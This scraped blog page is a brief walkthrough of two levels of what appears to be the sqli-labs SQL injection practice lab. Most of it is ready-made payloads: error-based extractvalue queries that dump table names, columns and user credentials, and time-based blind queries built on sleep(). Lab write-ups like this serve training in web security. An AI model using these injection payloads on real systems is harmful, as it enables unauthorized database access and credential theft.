当前位置:网站首页>SQL injection Less47 (error injection) and Less49 (time blind injection)
SQL injection Less47 (error injection) and Less49 (time blind injection)
2022-07-31 02:47:00 【happy star】
Less47 and Less49 can't use rand() Boolean blind annotation
Because there are single quotes to closeorder by 'rand()'
This statement obviously cannot be executedp>
Less47
?sort=1' and extractvalue(0,concat(0x7e,database()))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))--+
?sort=1' and extractvalue(0,concat(0x7e, (select group_concat(username,password) from users)))--+
Less49
?sort=1' and sleep(5)--+
?sort=1' and if(1,sleep(5),0)--+
?sort=1' and if(length(database())=8,sleep(5),0)--+
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)--+
?sort=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),0)--+
?sort=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),0)--+
边栏推荐
- 品牌广告投放平台的中台化应用与实践
- String为什么不可变?
- MPPT太阳能充放电控制器数据采集-通过网关采集电池电压容量电量SOC,wifi传输
- 什么是分布式锁?实现分布式锁的三种方式
- 医疗影像领域AI软件开发流程
- 10. Redis implements likes (Set) and obtains the total number of likes
- Unity3D Button mouse hover enter and mouse hover exit button events
- The use of font compression artifact font-spider
- Refuse to work overtime, a productivity tool set developed by programmers
- Mathematics to solve the problem - circular linked list
猜你喜欢
There is a problem with the multiplayer-hlap package and the solution cannot be upgraded
品牌广告投放平台的中台化应用与实践
AI在医疗影像设备全流程应用
字体压缩神器font-spider的使用
SQL injection Less54 (limited number of SQL injection + union injection)
8、统一处理异常(控制器通知@ControllerAdvice全局配置类、@ExceptionHandler统一处理异常)
图像处理技术的心酸史
6、显示评论和回复
华为分布式存储FusionStorage知识点总结【面试篇】
Maximum area of solar panel od js
随机推荐
11. Redis implements follow, unfollow, and follow and follower lists
Why is String immutable?
Number 16, top posts
经典链表OJ强训题——快慢双指针高效解法
汉源高科8路HDMI综合多业务高清视频光端机8路HDMI视频+8路双向音频+8路485数据+8路E1+32路电话+4路千兆物理隔离网络
Pythagorean tuple od js
Chapter 9 SVM Practice
CefSharp入门-winform
coldfusion8 background scheduled tasks take shell
YOLOV5学习笔记(二)——环境安装+运行+训练
The principle of complete replication of virtual machines (cloud computing)
Discourse Custom Header Links
STM32CUBEMX develops GD32F303 (11) ---- ADC scans multiple channels in DMA mode
【C语言】进制转换一般方法
Moxa NPort 设备缺陷可能使关键基础设施遭受破坏性攻击
mycat的主从关系 垂直分库 水平分表 以及mycat分片联表查询的配置详解(mysql5.7系列)
YOLOV5 study notes (3) - detailed explanation of network module
Validate XML documents
16、热帖排行
String为什么不可变?